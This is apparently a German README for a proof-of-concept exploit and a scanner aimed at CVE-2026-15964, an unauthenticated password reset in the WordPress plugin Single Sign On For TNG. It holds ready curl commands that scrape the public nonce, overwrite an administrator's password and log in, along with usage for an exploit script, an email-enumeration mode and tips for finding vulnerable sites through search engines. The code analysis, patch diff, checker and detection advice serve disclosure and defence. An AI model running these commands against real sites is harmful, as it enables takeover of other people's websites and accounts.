
PoC & Checker für CVE-2026-15964 – nicht authentifizierte Passwortänderung im WordPress-Plugin Single Sign On For TNG <= 2.0.0 (CVSS 9.8)
Nicht authentifizierte Privilegienerweiterung durch ungeprüfte Passwortänderung im WordPress-Plugin Single Sign On For TNG.
| Schweregrad | Kritisch (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-620 (Ungeprüfte Passwortänderung) |
| Betroffen | Plugin-Versionen 1.0.0 bis 2.0.0 |
| Behoben in | 2.1.0 (veröffentlicht am 2026-07-27) |
| Veröffentlicht | 2026-08-01 |
| Authentifizierung erforderlich | keine (wp_ajax_nopriv_ssoprocess_ajax) |
| Auswirkung | Passwort von jedem WordPress-Konto ändern, einschließlich Administratoren - vollständige Übernahme der Website |
| Plugin | https://wordpress.org/plugins/single-sign-on-for-tng/ |
Jeder nicht authentifizierte Besucher kann das Passwort eines beliebigen Kontos auf einer Website ändern, auf der das Plugin in Version 2.0.0 oder früher läuft. Zwei HTTP-Anfragen:
SSOPWDREQUIREMENT-JavaScript-Objekt.admin-ajax.php mit operation=setnewpassword, einer Opfer-E-Mail-Adresse und einem neuen Passwort.Der WordPress-Kern übernimmt mit reset_password() den Rest. Kein Token, kein E-Mail-Bestätigungslink, keine Berechtigungsprüfung. Danach als Administrator anmelden.
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}
In single-sign-on-for-tng.php (v2.0.0):
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
wp_ajax_nopriv_* bedeutet, dass der Handler ohne jegliche Sitzung erreichbar ist.
load_scripts() ist an wp_enqueue_scripts angehängt, daher gibt das Plugin auf jeder Frontend-Seite Folgendes in das HTML aus:
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
Das wird wie folgt dargestellt:
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>
Und der Handler prüft es so:
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
Der Haken: WordPress berechnet Nonces mit wp_create_nonce($action) anhand von uid und dem Sitzungstoken. Für abgemeldete Besucher sind das 0 und ein leerer String, was bedeutet, dass jeder anonyme Besucher exakt dieselbe Nonce erhält. Sie wird nur alle 12 Stunden neu erzeugt (der Nonce-Tick). Die Nonce, die das Plugin für jeden Besucher ausgibt, ist also auch für den Angreifer gültig - es gibt kein Geheimnis zu stehlen, es wird direkt auf der Seite veröffentlicht.
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
reset_password() ist eine Kernfunktion von WordPress. Sie setzt den neuen Hash, meldet das Opfer aus allen anderen Sitzungen ab und löst die Aktionen password_reset / after_password_reset aus. Sie wird hier aufgerufen, ohne dass irgendetwas belegt, dass der Aufrufer der Kontoinhaber ist.
Zwei zusätzliche Punkte, die man kennen sollte:
MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC des Plugins werden nur in validate_form() für Forminator-Formulare durchgesetzt, niemals hier. Jedes Passwort wird akzeptiert.{"success":true} vs. {"success":false} verrät, ob eine E-Mail-Adresse registriert ist. Der --enum-only-Modus des Checkers nutzt das.operation=set_tzoffset ruft update_option('localtzoffset', $post['timezoneoffset']) ohne Authentifizierung auf. Nicht direkt für RCE ausnutzbar, aber es ist ein Schreiben von Optionen ohne Authentifizierung und im Write-up erwähnenswert.Der Vergleich von 2.0.0 mit 2.1.0 macht den Fix offensichtlich (und bestätigt den Bug):
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
plus, in newpasswordform():
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
In 2.1.0 sieht der Ablauf also so aus: Eine echte Wiederherstellungsanfrage speichert einen benutzerspezifischen custom_recovery_token und eine custom_recovery_nonce in den Benutzer-Metadaten, der Wiederherstellungslink enthält die Benutzer-ID, das Formular validiert beides, und der AJAX-Handler weigert sich zu laufen, sobald das Wiederherstellungsfenster (timeout) abgelaufen ist. Ein Angreifer, der keinen gültigen Wiederherstellungsdatensatz vorweisen kann, kann setnewpassword nicht mehr auslösen.
Schritt 1 - die Nonce auslesen
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
Schritt 2 - das Passwort ändern
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
Erwartete Antwort auf einer verwundbaren Installation: {"success":true}
Schritt 3 - anmelden
curl -sk -X POST https://target/wp-login.php \
-d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"
CVE-2026-15964.pyExploit für einzelne Websites. Nicht-destruktive Modi sind enthalten.
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'
# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only
# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12
# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only
# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check
CVE-2026-15964-checker.pyBatch-Scanner für eigene Website-Listen. Designbedingt nicht-destruktiv - er ändert niemals ein Passwort.
So stuft er jede Website ein:
SSOPWDREQUIREMENT-Objekt oder die Asset-Pfade /wp-content/plugins/single-sign-on-for-tng/ in der Startseite.Stable tag: in readme.txt. <= 2.0.0 ist verwundbar, >= 2.1.0 ist gepatcht. Dies ist laut CVE maßgeblich.--probe, nur wenn die Version nicht gelesen werden kann) - sendet operation=setnewpassword mit einer nicht existierenden E-Mail-Adresse. Eine 2.0.0-Installation antwortet mit {"success":false} und keiner Fehlermeldung; eine 2.1.0-Installation antwortet mit der Meldung "time to submit the new password expired". Eine echte E-Mail wird nie gesendet - das Senden einer solchen würde tatsächlich das Passwort zurücksetzen.# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv
# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com
Beispielausgabe:
URL VERDICT VER NONCE DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com VULNERABLE 2.0.0 yes readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com PATCHED 2.1.0 yes readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com PLUGIN_NOT_FOUND - -
Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1
Bewertungen: VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS / UNKNOWN / ERROR. UNKNOWN bedeutet in der Regel eine WAF, einen aggressiven CDN-Cache oder eine Website, die die readme blockiert - solche Fälle manuell prüfen.
tests/mock_server.py emuliert sechs Fälle (verwundbar per Version, gepatcht per Version, verwundbar per Probe, gepatcht per Probe, WordPress ohne das Plugin, kein WordPress). So wurde die Logik des Checkers validiert, bevor sie auf etwas Echtes gerichtet wurde:
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme
# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE
pip install -r requirements.txt installiert die einzige Abhängigkeit (requests).
Ehrlicher Kontext, weil er beeinflusst, wie du das einsetzt.
inurl:"single-sign-on-for-tng", "SSOPWDREQUIREMENT" in Suchmaschinen, die den vollständigen Seitenquelltext indexieren (PublicWWW, Censys, FOFA), und die TNG-Community selbst (tngsitebuilding.com, Genealogie-Foren).UNKNOWN-Bereich des Checkers wird bei echten genealogischen Websites vergleichsweise groß sein - viele laufen hinter aggressivem Caching oder blockieren readme.txt. Werte das nicht als „nicht verwundbar"; prüfe von Hand.admin-ajax.php-POSTs ab, bei denen action=ssoprocess_ajax nicht aus einer authentifizierten Sitzung stammt; alarmiere bei setnewpassword aus anonymen Quellen.wp_users.user_pass-Hashwerts und die Aktionen password_reset / after_password_reset; achte auf Administrator-Anmeldungen unmittelbar nach einer Passwortänderung.ssoajaxnonce als öffentliches Wissen - das war es schon immer.Dieses Repository dient ausschließlich autorisierten Sicherheitstests und Bildungszwecken. Du bist für deine eigenen Handlungen verantwortlich. Führe diese Tools nicht gegen Systeme aus, die dir nicht gehören oder für die du keine ausdrückliche schriftliche Erlaubnis zum Testen hast. Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen eine Straftat.